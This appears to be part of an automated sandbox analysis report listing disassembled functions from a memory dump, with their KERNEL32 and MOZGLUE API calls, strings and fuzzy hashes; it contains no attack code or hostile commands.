AcquireSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CA7B502
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CA7B542
free.MOZGLUE(?), ref: 6CA7B578

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 49f085ccfab973bf54a59ff31b45290c92c5d4171d491f14589f9ce3ddf5cb48
Instruction ID: 366e3110e5e6350e9768a8c5b666c5d5074523ba40e3269c13786e9574f1dcec
Opcode Fuzzy Hash: 49f085ccfab973bf54a59ff31b45290c92c5d4171d491f14589f9ce3ddf5cb48
Instruction Fuzzy Hash: 6811D675A04B46CBD7228F29E9047A1B3B5FFDA318F14970ED84A53A01EBB1B1C597E0

Function 6CAA3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CA6F20E,?), ref: 6CAA3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CA6F20E,00000000,?), ref: 6CAA3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CAA3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CAA3E0E

Part of subcall function 6CA9CC00: GetCurrentProcess.KERNEL32(?,?,6CA631A7), ref: 6CA9CC0D
Part of subcall function 6CA9CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CA631A7), ref: 6CA9CC16

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 705526fd005c5cc934d44185333bc5036eec512a8e5b64246225b026ccff2da5
Instruction ID: 547da9f9e36fd23cfb1584dbcd18c2384330538ed73a327fe0248a2abd5a663a
Opcode Fuzzy Hash: 705526fd005c5cc934d44185333bc5036eec512a8e5b64246225b026ccff2da5
Instruction Fuzzy Hash: 5BF082715003097BDB04AB94EC46DAB376DDB4A628F054024FD0917700D635FD5A9BF7

Function 6CAB20B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAB20B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6CA9FBD1), ref: 6CAB20C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6CA9FBD1), ref: 6CAB20DA
free.MOZGLUE(00000000,?,6CA9FBD1), ref: 6CAB20F1

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 3142efa0c823aadd7b6d8c1f4ad25db290469028648d35cdd2f10080c277647f
Instruction ID: 8906c0a8b38c7cb07ada220574314651c9d1384d71d399719795a44836901a7c
Opcode Fuzzy Hash: 3142efa0c823aadd7b6d8c1f4ad25db290469028648d35cdd2f10080c277647f
Instruction Fuzzy Hash: C3E0E5316007158BC2209F25E80C68EB7FDEF8A214B04032BE40A93B00D775A98A87D9

Function 6CAB85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CAB85D3

Part of subcall function 6CA7CA10: malloc.MOZGLUE(?), ref: 6CA7CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CAB8725

Strings

map/set<T> too long, xrefs: 6CAB8720

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 3ae6140a9594608e5e12242dc4118fa62c92db402444b37eaa1b6d425a2bc1a3
Instruction ID: 75c1540af845f619d52f1637075da70f43527178c22cb8a6ee9fda9bacd0ee33
Opcode Fuzzy Hash: 3ae6140a9594608e5e12242dc4118fa62c92db402444b37eaa1b6d425a2bc1a3
Instruction Fuzzy Hash: 75517774A00686CFD701CF18C194B96BBF5BF4A318F18C19AD8596BB52C335E885CF92

Function 6CAC2570 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 114COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,?), ref: 6CAC2655
__Init_thread_footer.LIBCMT ref: 6CAC26BE

Strings

D($/, xrefs: 6CAC257F

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Init_thread_footerfree
String ID: D($/
API String ID: 1226231535-324952136
Opcode ID: b05f4cfaadacb65e386571bbcba1f751c0864fd712fe091fee609bc1671dd920
Instruction ID: 7382b1c68f1637ca6a90aa325aa632fa0fd74a6d8e0a91f1d05046cf631bd768
Opcode Fuzzy Hash: b05f4cfaadacb65e386571bbcba1f751c0864fd712fe091fee609bc1671dd920
Instruction Fuzzy Hash: 2C419EB1A00709CFCB18CF59D48999ABBF1FF49310B19856EC41A9BB11D731A985CFE2

Function 6CAC0DE0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111timeCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA9FA80: GetCurrentThreadId.KERNEL32 ref: 6CA9FA8D
Part of subcall function 6CA9FA80: AcquireSRWLockExclusive.KERNEL32(6CAEF448), ref: 6CA9FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAC0EFC

Part of subcall function 6CAB1B80: GetCurrentThreadId.KERNEL32 ref: 6CAB1B98
Part of subcall function 6CAB1B80: AcquireSRWLockExclusive.KERNEL32(?,?,6CAB1D96,00000000), ref: 6CAB1BA1
Part of subcall function 6CAB1B80: ReleaseSRWLockExclusive.KERNEL32(?,?,6CAB1D96,00000000), ref: 6CAB1BB5

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6CAC0E50

Part of subcall function 6CA85B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CA856EE,?,00000001), ref: 6CA85B85
Part of subcall function 6CA85B50: EnterCriticalSection.KERNEL32(6CAEF688,?,?,?,6CA856EE,?,00000001), ref: 6CA85B90
Part of subcall function 6CA85B50: LeaveCriticalSection.KERNEL32(6CAEF688,?,?,?,6CA856EE,?,00000001), ref: 6CA85BD8
Part of subcall function 6CA85B50: GetTickCount64.KERNEL32 ref: 6CA85BE4

Strings

D($/, xrefs: 6CAC0DF0

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCriticalCurrentReleaseSectionThread$Count64CounterEnterLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_
String ID: D($/
API String ID: 2508600278-324952136
Opcode ID: f71a6ac9e8f254b3ec20a18263886486b6f1d9c05bad59ae1082697caf403337
Instruction ID: 557f4873e094c4e903952c34a0326fb44fc9365951319113004aaddbf4ff2718
Opcode Fuzzy Hash: f71a6ac9e8f254b3ec20a18263886486b6f1d9c05bad59ae1082697caf403337
Instruction Fuzzy Hash: 28419CB57047469FC708CF28C580A5AB7F5FF88318F44491DE99697B41DB30E889CB92

Function 6CABC570 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

fgetpos.API-MS-WIN-CRT-STDIO-L1-1-0(?,?), ref: 6CABC605
_fseeki64.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,00000001), ref: 6CABC672

Strings

D($/, xrefs: 6CABC581

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: _fseeki64fgetpos
String ID: D($/
API String ID: 3401907645-324952136
Opcode ID: 8555f4ec3e704b25d9cb3e3ea3d5983f985d18979a3eeb1bdb6b93741fdf4e20
Instruction ID: 216e61e882317a5360db628593a55ffac808791dbbcc5e523f9facbffe248e76
Opcode Fuzzy Hash: 8555f4ec3e704b25d9cb3e3ea3d5983f985d18979a3eeb1bdb6b93741fdf4e20
Instruction Fuzzy Hash: B94148716047059FC718DF29D98095ABBF5FF89318B048A2EE85A97B40E731E954CB90

Function 6CA630F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60timeCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA631C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CA63217
Part of subcall function 6CA631C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CA63236
Part of subcall function 6CA631C0: FreeLibrary.KERNEL32 ref: 6CA6324B
Part of subcall function 6CA631C0: __Init_thread_footer.LIBCMT ref: 6CA63260
Part of subcall function 6CA631C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CA6327F
Part of subcall function 6CA631C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA6328E
Part of subcall function 6CA631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA632AB
Part of subcall function 6CA631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA632D1
Part of subcall function 6CA631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CA632E5
Part of subcall function 6CA631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CA632F7

QueryUnbiasedInterruptTime.KERNEL32 ref: 6CA63127
__aulldiv.LIBCMT ref: 6CA63140

Strings

D($/, xrefs: 6CA630FB

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Time$StampV01@@Value@mozilla@@$LibraryStamp@mozilla@@$AddressCreation@FreeInit_thread_footerInterruptLoadNow@ProcProcessQueryUnbiasedV12@V12@___aulldiv
String ID: D($/
API String ID: 3886099572-324952136
Opcode ID: 5b6293623dba1e59f23c77bf08ebdf53f276f24c6e8b60bbb7157fa52ed6b87d
Instruction ID: f009075c3efed4dfe5e25336a011f4651cf2de3af21758ce16f8292c8f6d33f7
Opcode Fuzzy Hash: 5b6293623dba1e59f23c77bf08ebdf53f276f24c6e8b60bbb7157fa52ed6b87d
Instruction Fuzzy Hash: FF11D272B093428FDB88DF29AC0169A77F1EB8E204F14C92DE49583A90DB30554AD7D1

Function 6CAC0480 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000080,?,?,?,?,?,?,?,?,?,?,?,?,6CAC041E,?,6CAC03C0), ref: 6CAC04D8
InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CAC041E), ref: 6CAC04E3

Strings

D($/, xrefs: 6CAC0490

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc
String ID: D($/
API String ID: 1952960883-324952136
Opcode ID: e201f2d183c10837c9c13bf378b4ad9f6afa2b5dda292a5dc6beb2bb1b0fdf79
Instruction ID: dfbeacfe3abf04aeae182c912691bfdf993c900494719bb7df70e5ccfa2af946
Opcode Fuzzy Hash: e201f2d183c10837c9c13bf378b4ad9f6afa2b5dda292a5dc6beb2bb1b0fdf79
Instruction Fuzzy Hash: 7A21D4B0E047858BE7448F3D99813A6B7F4BF99318F049769DD8886223FB70A5D8C781

Function 6CAC7880 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CAC789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CAC78CF

Part of subcall function 6CA64DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA64E5A
Part of subcall function 6CA64DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA64E97

Part of subcall function 6CA64290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CAA3EBD,6CAA3EBD,00000000), ref: 6CA642A9

Strings

D($/, xrefs: 6CAC77E0, 6CAC7894

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@strlen
String ID: D($/
API String ID: 1846559125-324952136
Opcode ID: 5baca3b084f34406666b60bb55379ce11e6bdc9fc401a6e394709afba7dfaa53
Instruction ID: 75237ab8ee25aec45d9c252272afbe1e61314fe4b1425075cf45df704326e9f7
Opcode Fuzzy Hash: 5baca3b084f34406666b60bb55379ce11e6bdc9fc401a6e394709afba7dfaa53
Instruction Fuzzy Hash: 75116DB1A047469FC310DF2AD49055AFBF4FF89354F504A2EE4A987B80DB30A598CBD2

Function 6CAB1C60 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,6CAB759E,?,?), ref: 6CAB1CB4
free.MOZGLUE(?,?,?,?,?,?,6CAB759E,?,?,?,?,?,?,?,?,?), ref: 6CAB1CE9

Strings

D($/, xrefs: 6CAB1C70

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Now@Stamp@mozilla@@TimeV12@_free
String ID: D($/
API String ID: 876075630-324952136
Opcode ID: 4e49d561d1096f55fe92468e017552c771847ba275df1b3d226160d8100c2cc2
Instruction ID: 8590d92f9b0a481b2618060440ddd05f95356c6a26de7f37c387de0714769785
Opcode Fuzzy Hash: 4e49d561d1096f55fe92468e017552c771847ba275df1b3d226160d8100c2cc2
Instruction Fuzzy Hash: F211BF31900B059BC310CF29C9406A7B7F4FF8A718F00461DD9AAA7A40EB31F498CB90

Function 6CAB0E00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CAB0E16

Part of subcall function 6CA9FA80: GetCurrentThreadId.KERNEL32 ref: 6CA9FA8D
Part of subcall function 6CA9FA80: AcquireSRWLockExclusive.KERNEL32(6CAEF448), ref: 6CA9FA99

ReleaseSRWLockExclusive.KERNEL32 ref: 6CAB0E45

Strings

D($/, xrefs: 6CAB0E0C

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ExclusiveLock$?profiler_get_core_buffer@baseprofiler@mozilla@@AcquireBuffer@2@ChunkedCurrentProfileReleaseThread
String ID: D($/
API String ID: 488134835-324952136
Opcode ID: 02a3f3faf76996af11b89921154b7ba3991bcbb6107d7a2a9c20f3dfc1fe4e24
Instruction ID: b7b45f2ed040f935ff6d0ea42ee9f3db6fb6b01e7b36e02d31647ea5df77735b
Opcode Fuzzy Hash: 02a3f3faf76996af11b89921154b7ba3991bcbb6107d7a2a9c20f3dfc1fe4e24
Instruction Fuzzy Hash: E7118CB16083458FC704DF28E94129FBBF4EF89218F15882DE88997700D730D889CBE2

Function 6CA74730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CA744B2,6CAEE21C,6CAEF7F8), ref: 6CA7473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CA7474A

Strings

GetNtLoaderAPI, xrefs: 6CA74744

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: b2d736c98a91a471a0a5758d718a11dd0229aec3a528cf28d5dd57f50567aa55
Instruction ID: d38de5a37de24cc6278a3df61c1ce7fcff72503950612b2e064c140d2f6da793
Opcode Fuzzy Hash: b2d736c98a91a471a0a5758d718a11dd0229aec3a528cf28d5dd57f50567aa55
Instruction Fuzzy Hash: 060180793003168FDF089F6998486297BB9FB4E311F098069E905C7300CB74D8029FE1

Function 6CAC6F80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE ref: 6CAC6FAA

Part of subcall function 6CAC6A10: InitializeCriticalSection.KERNEL32(6CAEF618), ref: 6CAC6A68
Part of subcall function 6CAC6A10: GetCurrentProcess.KERNEL32 ref: 6CAC6A7D
Part of subcall function 6CAC6A10: GetCurrentProcess.KERNEL32 ref: 6CAC6AA1
Part of subcall function 6CAC6A10: EnterCriticalSection.KERNEL32(6CAEF618), ref: 6CAC6AAE
Part of subcall function 6CAC6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CAC6AE1
Part of subcall function 6CAC6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CAC6B15
Part of subcall function 6CAC6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6CAC6B65
Part of subcall function 6CAC6A10: LeaveCriticalSection.KERNEL32(6CAEF618,?,?), ref: 6CAC6B83

MozFormatCodeAddress.MOZGLUE ref: 6CAC6FF0

Strings

D($/, xrefs: 6CAC6F92

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave
String ID: D($/
API String ID: 1067246555-324952136
Opcode ID: b1b49d826ed04f89b0ec7725059b85d4ef6c58d7512fda1c781f5f01d2f6e76b
Instruction ID: 1c5fd62ceaed18d53b96654aa8ffbf4954fca667318f2e1327082e3cfb769164
Opcode Fuzzy Hash: b1b49d826ed04f89b0ec7725059b85d4ef6c58d7512fda1c781f5f01d2f6e76b
Instruction Fuzzy Hash: C311FB75A083099BCB08DF59D5845AEB7F4FF88704F00886EE85997350D7346A49CF92

Function 6CA7BE40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43timeCOMMON

Download Yara Rule

APIs

QueryUnbiasedInterruptTime.KERNEL32 ref: 6CA7BE64
__aulldiv.LIBCMT ref: 6CA7BE86

Strings

D($/, xrefs: 6CA7BE4D

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: InterruptQueryTimeUnbiased__aulldiv
String ID: D($/
API String ID: 218403179-324952136
Opcode ID: 4f74bc5e616a3d3d0882182445d5953fc7c6fb573125eafbf2374e36f76b939e
Instruction ID: cfa5e3f197069f4e652a479dfbfbe0a5d9e88f628fa1a8fb381d60edf6a86fcf
Opcode Fuzzy Hash: 4f74bc5e616a3d3d0882182445d5953fc7c6fb573125eafbf2374e36f76b939e
Instruction Fuzzy Hash: F5012671A04346ABCB149F38E805B867BF4EF4A314F20CB1DA5A483AA1D77060C4D7C1

Function 6CAC6D30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE(#%02u: ??? (???:???),?,?,?,?,6CAC6CA1), ref: 6CAC6D51
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?,#%02u: ??? (???:???),?,?,?,?,6CAC6CA1), ref: 6CAC6D6B

Strings

D($/, xrefs: 6CAC6D3C

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@
String ID: D($/
API String ID: 2004917493-324952136
Opcode ID: a9312ae1eca706851c1ae7dedd0e26575104ed2c44f6d4a4bdda249f8d371346
Instruction ID: c0a91fbe9cf07c6bb5cadc727634f88b61f7fe79c44ac9df06486060d3e7fc7d
